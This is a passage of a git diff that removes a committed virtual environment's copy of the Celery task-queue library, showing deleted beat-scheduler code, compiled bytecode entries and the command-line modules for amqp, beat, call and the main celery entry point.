- def __init__(self, app, max_interval=None, schedule_filename=None, - scheduler_cls=None): - self.app = app - self.max_interval = (max_interval or - app.conf.beat_max_loop_interval) - self.scheduler_cls = scheduler_cls or self.scheduler_cls - self.schedule_filename = ( - schedule_filename or app.conf.beat_schedule_filename) - - self._is_shutdown = Event() - self._is_stopped = Event() - - def __reduce__(self): - return self.__class__, (self.max_interval, self.schedule_filename, - self.scheduler_cls, self.app) - - def start(self, embedded_process=False): - info('beat: Starting...') - debug('beat: Ticking with max interval->%s', - humanize_seconds(self.scheduler.max_interval)) - - signals.beat_init.send(sender=self) - if embedded_process: - signals.beat_embedded_init.send(sender=self) - platforms.set_process_title('celery beat') - - try: - while not self._is_shutdown.is_set(): - interval = self.scheduler.tick() - if interval and interval > 0.0: - debug('beat: Waking up %s.', - humanize_seconds(interval, prefix='in ')) - time.sleep(interval) - if self.scheduler.should_sync(): - self.scheduler._do_sync() - except (KeyboardInterrupt, SystemExit): - self._is_shutdown.set() - finally: - self.sync() - - def sync(self): - self.scheduler.close() - self._is_stopped.set() - - def stop(self, wait=False): - info('beat: Shutting down...') - self._is_shutdown.set() - wait and self._is_stopped.wait() # block until shutdown done. - - def get_scheduler(self, lazy=False, - extension_namespace='celery.beat_schedulers'): - filename = self.schedule_filename - aliases = dict(load_extension_class_names(extension_namespace)) - return symbol_by_name(self.scheduler_cls, aliases=aliases)( - app=self.app, - schedule_filename=filename, - max_interval=self.max_interval, - lazy=lazy, - ) - - @cached_property - def scheduler(self): - return self.get_scheduler() - - -class _Threaded(Thread): - """Embedded task scheduler using threading.""" - - def __init__(self, app, **kwargs): - super().__init__() - self.app = app - self.service = Service(app, **kwargs) - self.daemon = True - self.name = 'Beat' - - def run(self): - self.app.set_current() - self.service.start() - - def stop(self): - self.service.stop(wait=True) - - -try: - ensure_multiprocessing() -except NotImplementedError: # pragma: no cover - _Process = None -else: - class _Process(Process): - - def __init__(self, app, **kwargs): - super().__init__() - self.app = app - self.service = Service(app, **kwargs) - self.name = 'Beat' - - def run(self): - reset_signals(full=False) - platforms.close_open_fds([ - sys.__stdin__, sys.__stdout__, sys.__stderr__, - ] + list(iter_open_logger_fds())) - self.app.set_default() - self.app.set_current() - self.service.start(embedded_process=True) - - def stop(self): - self.service.stop() - self.terminate() - - -def EmbeddedService(app, max_interval=None, **kwargs): - """Return embedded clock service. - - Arguments: - thread (bool): Run threaded instead of as a separate process. - Uses :mod:`multiprocessing` by default, if available. - """ - if kwargs.pop('thread', False) or _Process is None: - # Need short max interval to be able to stop thread - # in reasonable time. - return _Threaded(app, max_interval=1, **kwargs) - return _Process(app, max_interval=max_interval, **kwargs) diff --git a/backend/venv/Lib/site-packages/celery/bin/__init__.py b/backend/venv/Lib/site-packages/celery/bin/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 08171823..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/amqp.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/amqp.cpython-311.pyc deleted file mode 100644 index 5d44350f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/amqp.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/base.cpython-311.pyc deleted file mode 100644 index 29b37987..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/beat.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/beat.cpython-311.pyc deleted file mode 100644 index 2a5f3a83..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/beat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/call.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/call.cpython-311.pyc deleted file mode 100644 index 93ef7d36..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/call.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/celery.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/celery.cpython-311.pyc deleted file mode 100644 index 1536f392..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/celery.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/control.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/control.cpython-311.pyc deleted file mode 100644 index 4e54be77..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/control.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/events.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/events.cpython-311.pyc deleted file mode 100644 index 1ddadf25..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/events.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/graph.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/graph.cpython-311.pyc deleted file mode 100644 index 98b08c0b..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/graph.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/list.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/list.cpython-311.pyc deleted file mode 100644 index 42e6448a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/list.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/logtool.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/logtool.cpython-311.pyc deleted file mode 100644 index c0035bc3..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/logtool.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/migrate.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/migrate.cpython-311.pyc deleted file mode 100644 index 3a1517af..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/migrate.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/multi.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/multi.cpython-311.pyc deleted file mode 100644 index a01d9808..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/multi.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/purge.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/purge.cpython-311.pyc deleted file mode 100644 index d8f73383..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/purge.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/result.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/result.cpython-311.pyc deleted file mode 100644 index c67ffed6..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/result.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/shell.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/shell.cpython-311.pyc deleted file mode 100644 index f0f8aac7..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/shell.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/upgrade.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/upgrade.cpython-311.pyc deleted file mode 100644 index 135b90d5..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/upgrade.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/__pycache__/worker.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/bin/__pycache__/worker.cpython-311.pyc deleted file mode 100644 index 144fe516..00000000 Binary files a/backend/venv/Lib/site-packages/celery/bin/__pycache__/worker.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/bin/amqp.py b/backend/venv/Lib/site-packages/celery/bin/amqp.py deleted file mode 100644 index b42b1dae..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/amqp.py +++ /dev/null @@ -1,312 +0,0 @@ -"""AMQP 0.9.1 REPL.""" - -import pprint - -import click -from amqp import Connection, Message -from click_repl import register_repl - -__all__ = ('amqp',) - -from celery.bin.base import handle_preload_options - - -def dump_message(message): - if message is None: - return 'No messages in queue. basic.publish something.' - return {'body': message.body, - 'properties': message.properties, - 'delivery_info': message.delivery_info} - - -class AMQPContext: - def __init__(self, cli_context): - self.cli_context = cli_context - self.connection = self.cli_context.app.connection() - self.channel = None - self.reconnect() - - @property - def app(self): - return self.cli_context.app - - def respond(self, retval): - if isinstance(retval, str): - self.cli_context.echo(retval) - else: - self.cli_context.echo(pprint.pformat(retval)) - - def echo_error(self, exception): - self.cli_context.error(f'{self.cli_context.ERROR}: {exception}') - - def echo_ok(self): - self.cli_context.echo(self.cli_context.OK) - - def reconnect(self): - if self.connection: - self.connection.close() - else: - self.connection = self.cli_context.app.connection() - - self.cli_context.echo(f'-> connecting to {self.connection.as_uri()}.') - try: - self.connection.connect() - except (ConnectionRefusedError, ConnectionResetError) as e: - self.echo_error(e) - else: - self.cli_context.secho('-> connected.', fg='green', bold=True) - self.channel = self.connection.default_channel - - -@click.group(invoke_without_command=True) -@click.pass_context -@handle_preload_options -def amqp(ctx): - """AMQP Administration Shell. - - Also works for non-AMQP transports (but not ones that - store declarations in memory). - """ - if not isinstance(ctx.obj, AMQPContext): - ctx.obj = AMQPContext(ctx.obj) - - -@amqp.command(name='exchange.declare') -@click.argument('exchange', - type=str) -@click.argument('type', - type=str) -@click.argument('passive', - type=bool, - default=False) -@click.argument('durable', - type=bool, - default=False) -@click.argument('auto_delete', - type=bool, - default=False) -@click.pass_obj -def exchange_declare(amqp_context, exchange, type, passive, durable, - auto_delete): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.exchange_declare(exchange=exchange, - type=type, - passive=passive, - durable=durable, - auto_delete=auto_delete) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='exchange.delete') -@click.argument('exchange', - type=str) -@click.argument('if_unused', - type=bool) -@click.pass_obj -def exchange_delete(amqp_context, exchange, if_unused): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.exchange_delete(exchange=exchange, - if_unused=if_unused) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='queue.bind') -@click.argument('queue', - type=str) -@click.argument('exchange', - type=str) -@click.argument('routing_key', - type=str) -@click.pass_obj -def queue_bind(amqp_context, queue, exchange, routing_key): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.queue_bind(queue=queue, - exchange=exchange, - routing_key=routing_key) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='queue.declare') -@click.argument('queue', - type=str) -@click.argument('passive', - type=bool, - default=False) -@click.argument('durable', - type=bool, - default=False) -@click.argument('auto_delete', - type=bool, - default=False) -@click.pass_obj -def queue_declare(amqp_context, queue, passive, durable, auto_delete): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_declare(queue=queue, - passive=passive, - durable=durable, - auto_delete=auto_delete) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - 'queue:{} messages:{} consumers:{}'.format(*retval), - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='queue.delete') -@click.argument('queue', - type=str) -@click.argument('if_unused', - type=bool, - default=False) -@click.argument('if_empty', - type=bool, - default=False) -@click.pass_obj -def queue_delete(amqp_context, queue, if_unused, if_empty): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_delete(queue=queue, - if_unused=if_unused, - if_empty=if_empty) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - f'{retval} messages deleted.', - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='queue.purge') -@click.argument('queue', - type=str) -@click.pass_obj -def queue_purge(amqp_context, queue): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_purge(queue=queue) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - f'{retval} messages deleted.', - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='basic.get') -@click.argument('queue', - type=str) -@click.argument('no_ack', - type=bool, - default=False) -@click.pass_obj -def basic_get(amqp_context, queue, no_ack): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - message = amqp_context.channel.basic_get(queue, no_ack=no_ack) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.respond(dump_message(message)) - amqp_context.echo_ok() - - -@amqp.command(name='basic.publish') -@click.argument('msg', - type=str) -@click.argument('exchange', - type=str) -@click.argument('routing_key', - type=str) -@click.argument('mandatory', - type=bool, - default=False) -@click.argument('immediate', - type=bool, - default=False) -@click.pass_obj -def basic_publish(amqp_context, msg, exchange, routing_key, mandatory, - immediate): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - # XXX Hack to fix Issue #2013 - if isinstance(amqp_context.connection.connection, Connection): - msg = Message(msg) - try: - amqp_context.channel.basic_publish(msg, - exchange=exchange, - routing_key=routing_key, - mandatory=mandatory, - immediate=immediate) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='basic.ack') -@click.argument('delivery_tag', - type=int) -@click.pass_obj -def basic_ack(amqp_context, delivery_tag): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.basic_ack(delivery_tag) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -register_repl(amqp) diff --git a/backend/venv/Lib/site-packages/celery/bin/base.py b/backend/venv/Lib/site-packages/celery/bin/base.py deleted file mode 100644 index 61cc37a0..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/base.py +++ /dev/null @@ -1,306 +0,0 @@ -"""Click customizations for Celery.""" -import json -import numbers -from collections import OrderedDict -from functools import update_wrapper -from pprint import pformat -from typing import Any - -import click -from click import Context, ParamType -from kombu.utils.objects import cached_property - -from celery._state import get_current_app -from celery.signals import user_preload_options -from celery.utils import text -from celery.utils.log import mlevel -from celery.utils.time import maybe_iso8601 - -try: - from pygments import highlight - from pygments.formatters import Terminal256Formatter - from pygments.lexers import PythonLexer -except ImportError: - def highlight(s, *args, **kwargs): - """Place holder function in case pygments is missing.""" - return s - LEXER = None - FORMATTER = None -else: - LEXER = PythonLexer() - FORMATTER = Terminal256Formatter() - - -class CLIContext: - """Context Object for the CLI.""" - - def __init__(self, app, no_color, workdir, quiet=False): - """Initialize the CLI context.""" - self.app = app or get_current_app() - self.no_color = no_color - self.quiet = quiet - self.workdir = workdir - - @cached_property - def OK(self): - return self.style("OK", fg="green", bold=True) - - @cached_property - def ERROR(self): - return self.style("ERROR", fg="red", bold=True) - - def style(self, message=None, **kwargs): - if self.no_color: - return message - else: - return click.style(message, **kwargs) - - def secho(self, message=None, **kwargs): - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.secho(message, **kwargs) - - def echo(self, message=None, **kwargs): - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.echo(message, **kwargs) - - def error(self, message=None, **kwargs): - kwargs['err'] = True - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.secho(message, **kwargs) - - def pretty(self, n): - if isinstance(n, list): - return self.OK, self.pretty_list(n) - if isinstance(n, dict): - if 'ok' in n or 'error' in n: - return self.pretty_dict_ok_error(n) - else: - s = json.dumps(n, sort_keys=True, indent=4) - if not self.no_color: - s = highlight(s, LEXER, FORMATTER) - return self.OK, s - if isinstance(n, str): - return self.OK, n - return self.OK, pformat(n) - - def pretty_list(self, n): - if not n: - return '- empty -' - return '\n'.join( - f'{self.style("*", fg="white")} {item}' for item in n - ) - - def pretty_dict_ok_error(self, n): - try: - return (self.OK, - text.indent(self.pretty(n['ok'])[1], 4)) - except KeyError: - pass - return (self.ERROR, - text.indent(self.pretty(n['error'])[1], 4)) - - def say_chat(self, direction, title, body='', show_body=False): - if direction == '<-' and self.quiet: - return - dirstr = not self.quiet and f'{self.style(direction, fg="white", bold=True)} ' or '' - self.echo(f'{dirstr} {title}') - if body and show_body: - self.echo(body) - - -def handle_preload_options(f): - """Extract preload options and return a wrapped callable.""" - def caller(ctx, *args, **kwargs): - app = ctx.obj.app - - preload_options = [o.name for o in app.user_options.get('preload', [])] - - if preload_options: - user_options = { - preload_option: kwargs[preload_option] - for preload_option in preload_options - } - - user_preload_options.send(sender=f, app=app, options=user_options) - - return f(ctx, *args, **kwargs) - - return update_wrapper(caller, f) - - -class CeleryOption(click.Option): - """Customized option for Celery.""" - - def get_default(self, ctx, *args, **kwargs): - if self.default_value_from_context: - self.default = ctx.obj[self.default_value_from_context] - return super().get_default(ctx, *args, **kwargs) - - def __init__(self, *args, **kwargs): - """Initialize a Celery option.""" - self.help_group = kwargs.pop('help_group', None) - self.default_value_from_context = kwargs.pop('default_value_from_context', None) - super().__init__(*args, **kwargs) - - -class CeleryCommand(click.Command): - """Customized command for Celery.""" - - def format_options(self, ctx, formatter): - """Write all the options into the formatter if they exist.""" - opts = OrderedDict() - for param in self.get_params(ctx): - rv = param.get_help_record(ctx) - if rv is not None: - if hasattr(param, 'help_group') and param.help_group: - opts.setdefault(str(param.help_group), []).append(rv) - else: - opts.setdefault('Options', []).append(rv) - - for name, opts_group in opts.items(): - with formatter.section(name): - formatter.write_dl(opts_group) - - -class DaemonOption(CeleryOption): - """Common daemonization option""" - - def __init__(self, *args, **kwargs): - super().__init__(args, - help_group=kwargs.pop("help_group", "Daemonization Options"), - callback=kwargs.pop("callback", self.daemon_setting), - **kwargs) - - def daemon_setting(self, ctx: Context, opt: CeleryOption, value: Any) -> Any: - """ - Try to fetch daemonization option from applications settings. - Use the daemon command name as prefix (eg. `worker` -> `worker_pidfile`) - """ - return value or getattr(ctx.obj.app.conf, f"{ctx.command.name}_{self.name}", None) - - -class CeleryDaemonCommand(CeleryCommand): - """Daemon commands.""" - - def __init__(self, *args, **kwargs): - """Initialize a Celery command with common daemon options.""" - super().__init__(*args, **kwargs) - self.params.extend(( - DaemonOption("--logfile", "-f", help="Log destination; defaults to stderr"), - DaemonOption("--pidfile", help="PID file path; defaults to no PID file"), - DaemonOption("--uid", help="Drops privileges to this user ID"), - DaemonOption("--gid", help="Drops privileges to this group ID"), - DaemonOption("--umask", help="Create files and directories with this umask"), - DaemonOption("--executable", help="Override path to the Python executable"), - )) - - -class CommaSeparatedList(ParamType): - """Comma separated list argument.""" - - name = "comma separated list" - - def convert(self, value, param, ctx): - return text.str_to_list(value) - - -class JsonArray(ParamType): - """JSON formatted array argument.""" - - name = "json array" - - def convert(self, value, param, ctx): - if isinstance(value, list): - return value - - try: - v = json.loads(value) - except ValueError as e: - self.fail(str(e)) - - if not isinstance(v, list): - self.fail(f"{value} was not an array") - - return v - - -class JsonObject(ParamType): - """JSON formatted object argument.""" - - name = "json object" - - def convert(self, value, param, ctx): - if isinstance(value, dict): - return value - - try: - v = json.loads(value) - except ValueError as e: - self.fail(str(e)) - - if not isinstance(v, dict): - self.fail(f"{value} was not an object") - - return v - - -class ISO8601DateTime(ParamType): - """ISO 8601 Date Time argument.""" - - name = "iso-86091" - - def convert(self, value, param, ctx): - try: - return maybe_iso8601(value) - except (TypeError, ValueError) as e: - self.fail(e) - - -class ISO8601DateTimeOrFloat(ParamType): - """ISO 8601 Date Time or float argument.""" - - name = "iso-86091 or float" - - def convert(self, value, param, ctx): - try: - return float(value) - except (TypeError, ValueError): - pass - - try: - return maybe_iso8601(value) - except (TypeError, ValueError) as e: - self.fail(e) - - -class LogLevel(click.Choice): - """Log level option.""" - - def __init__(self): - """Initialize the log level option with the relevant choices.""" - super().__init__(('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')) - - def convert(self, value, param, ctx): - if isinstance(value, numbers.Integral): - return value - - value = value.upper() - value = super().convert(value, param, ctx) - return mlevel(value) - - -JSON_ARRAY = JsonArray() -JSON_OBJECT = JsonObject() -ISO8601 = ISO8601DateTime() -ISO8601_OR_FLOAT = ISO8601DateTimeOrFloat() -LOG_LEVEL = LogLevel() -COMMA_SEPARATED_LIST = CommaSeparatedList() diff --git a/backend/venv/Lib/site-packages/celery/bin/beat.py b/backend/venv/Lib/site-packages/celery/bin/beat.py deleted file mode 100644 index c8a8a499..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/beat.py +++ /dev/null @@ -1,72 +0,0 @@ -"""The :program:`celery beat` command.""" -from functools import partial - -import click - -from celery.bin.base import LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options -from celery.platforms import detached, maybe_drop_privileges - - -@click.command(cls=CeleryDaemonCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('--detach', - cls=CeleryOption, - is_flag=True, - default=False, - help_group="Beat Options", - help="Detach and run in the background as a daemon.") -@click.option('-s', - '--schedule', - cls=CeleryOption, - callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_schedule_filename, - help_group="Beat Options", - help="Path to the schedule database." - " Defaults to `celerybeat-schedule`." - "The extension '.db' may be appended to the filename.") -@click.option('-S', - '--scheduler', - cls=CeleryOption, - callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_scheduler, - help_group="Beat Options", - help="Scheduler class to use.") -@click.option('--max-interval', - cls=CeleryOption, - type=int, - help_group="Beat Options", - help="Max seconds to sleep between schedule iterations.") -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Beat Options", - help="Logging level.") -@click.pass_context -@handle_preload_options -def beat(ctx, detach=False, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, **kwargs): - """Start the beat periodic task scheduler.""" - app = ctx.obj.app - - if ctx.args: - try: - app.config_from_cmdline(ctx.args) - except (KeyError, ValueError) as e: - # TODO: Improve the error messages - raise click.UsageError("Unable to parse extra configuration" - " from command line.\n" - f"Reason: {e}", ctx=ctx) - - if not detach: - maybe_drop_privileges(uid=uid, gid=gid) - - beat = partial(app.Beat, - logfile=logfile, pidfile=pidfile, - quiet=ctx.obj.quiet, **kwargs) - - if detach: - with detached(logfile, pidfile, uid, gid, umask, workdir): - return beat().run() - else: - return beat().run() diff --git a/backend/venv/Lib/site-packages/celery/bin/call.py b/backend/venv/Lib/site-packages/celery/bin/call.py deleted file mode 100644 index b1df9502..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/call.py +++ /dev/null @@ -1,71 +0,0 @@ -"""The ``celery call`` program used to send tasks from the command-line.""" -import click - -from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON_ARRAY, JSON_OBJECT, CeleryCommand, CeleryOption, - handle_preload_options) - - -@click.command(cls=CeleryCommand) -@click.argument('name') -@click.option('-a', - '--args', - cls=CeleryOption, - type=JSON_ARRAY, - default='[]', - help_group="Calling Options", - help="Positional arguments.") -@click.option('-k', - '--kwargs', - cls=CeleryOption, - type=JSON_OBJECT, - default='{}', - help_group="Calling Options", - help="Keyword arguments.") -@click.option('--eta', - cls=CeleryOption, - type=ISO8601, - help_group="Calling Options", - help="scheduled time.") -@click.option('--countdown', - cls=CeleryOption, - type=float, - help_group="Calling Options", - help="eta in seconds from now.") -@click.option('--expires', - cls=CeleryOption, - type=ISO8601_OR_FLOAT, - help_group="Calling Options", - help="expiry time.") -@click.option('--serializer', - cls=CeleryOption, - default='json', - help_group="Calling Options", - help="task serializer.") -@click.option('--queue', - cls=CeleryOption, - help_group="Routing Options", - help="custom queue name.") -@click.option('--exchange', - cls=CeleryOption, - help_group="Routing Options", - help="custom exchange name.") -@click.option('--routing-key', - cls=CeleryOption, - help_group="Routing Options", - help="custom routing key.") -@click.pass_context -@handle_preload_options -def call(ctx, name, args, kwargs, eta, countdown, expires, serializer, queue, exchange, routing_key): - """Call a task by name.""" - task_id = ctx.obj.app.send_task( - name, - args=args, kwargs=kwargs, - countdown=countdown, - serializer=serializer, - queue=queue, - exchange=exchange, - routing_key=routing_key, - eta=eta, - expires=expires - ).id - ctx.obj.echo(task_id) diff --git a/backend/venv/Lib/site-packages/celery/bin/celery.py b/backend/venv/Lib/site-packages/celery/bin/celery.py deleted file mode 100644 index 4ddf9c7f..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/celery.py +++ /dev/null @@ -1,231 +0,0 @@ -"""Celery Command Line Interface.""" -import os -import pathlib -import sys -import traceback - -try: - from importlib.metadata import entry_points -except ImportError: - from importlib_metadata import entry_points - -import click -import click.exceptions -from click_didyoumean import DYMGroup -from click_plugins import with_plugins - -from celery import VERSION_BANNER -from celery.app.utils import find_app -from celery.bin.amqp import amqp -from celery.bin.base import CeleryCommand, CeleryOption, CLIContext -from celery.bin.beat import beat -from celery.bin.call import call -from celery.bin.control import control, inspect, status -from celery.bin.events import events -from celery.bin.graph import graph -from celery.bin.list import list_ -from celery.bin.logtool import logtool -from celery.bin.migrate import migrate -from celery.bin.multi import multi -from celery.bin.purge import purge -from celery.bin.result import result -from celery.bin.shell import shell -from celery.bin.upgrade import upgrade -from celery.bin.worker import worker - -UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND = click.style(""" -Unable to load celery application. -The module {0} was not found.""", fg='red') - -UNABLE_TO_LOAD_APP_ERROR_OCCURRED = click.style(""" -Unable to load celery application. -While trying to load the module {0} the following error occurred: -{1}""", fg='red') - -UNABLE_TO_LOAD_APP_APP_MISSING = click.style(""" -Unable to load celery application. -{0}""") - - -if sys.version_info >= (3, 10): - _PLUGINS = entry_points(group='celery.commands') -else: - try: - _PLUGINS = entry_points().get('celery.commands', []) - except AttributeError: - _PLUGINS = entry_points().select(group='celery.commands') - - -@with_plugins(_PLUGINS) -@click.group(cls=DYMGroup, invoke_without_command=True) -@click.option('-A', - '--app', - envvar='APP', - cls=CeleryOption, - # May take either: a str when invoked from command line (Click), - # or a Celery object when invoked from inside Celery; hence the - # need to prevent Click from "processing" the Celery object and - # converting it into its str representation. - type=click.UNPROCESSED, - help_group="Global Options") -@click.option('-b', - '--broker', - envvar='BROKER_URL', - cls=CeleryOption, - help_group="Global Options") -@click.option('--result-backend', - envvar='RESULT_BACKEND', - cls=CeleryOption, - help_group="Global Options") -@click.option('--loader', - envvar='LOADER', - cls=CeleryOption, - help_group="Global Options") -@click.option('--config', - envvar='CONFIG_MODULE', - cls=CeleryOption, - help_group="Global Options") -@click.option('--workdir', - cls=CeleryOption, - type=pathlib.Path, - callback=lambda _, __, wd: os.chdir(wd) if wd else None, - is_eager=True, - help_group="Global Options") -@click.option('-C', - '--no-color', - envvar='NO_COLOR', - is_flag=True, - cls=CeleryOption, - help_group="Global Options") -@click.option('-q', - '--quiet', - is_flag=True, - cls=CeleryOption, - help_group="Global Options") -@click.option('--version', - cls=CeleryOption, - is_flag=True, - help_group="Global Options") -@click.option('--skip-checks', - envvar='SKIP_CHECKS', - cls=CeleryOption, - is_flag=True, - help_group="Global Options", - help="Skip Django core checks on startup. Setting the SKIP_CHECKS environment " - "variable to any non-empty string will have the same effect.") -@click.pass_context -def celery(ctx, app, broker, result_backend, loader, config, workdir, - no_color, quiet, version, skip_checks): - """Celery command entrypoint.""" - if version: - click.echo(VERSION_BANNER) - ctx.exit() - elif ctx.invoked_subcommand is None: - click.echo(ctx.get_help()) - ctx.exit() - - if loader: - # Default app takes loader from this env (Issue #1066). - os.environ['CELERY_LOADER'] = loader - if broker: - os.environ['CELERY_BROKER_URL'] = broker - if result_backend: - os.environ['CELERY_RESULT_BACKEND'] = result_backend - if config: - os.environ['CELERY_CONFIG_MODULE'] = config - if skip_checks: - os.environ['CELERY_SKIP_CHECKS'] = 'true' - - if isinstance(app, str): - try: - app = find_app(app) - except ModuleNotFoundError as e: - if e.name != app: - exc = traceback.format_exc() - ctx.fail( - UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(app, exc) - ) - ctx.fail(UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND.format(e.name)) - except AttributeError as e: - attribute_name = e.args[0].capitalize() - 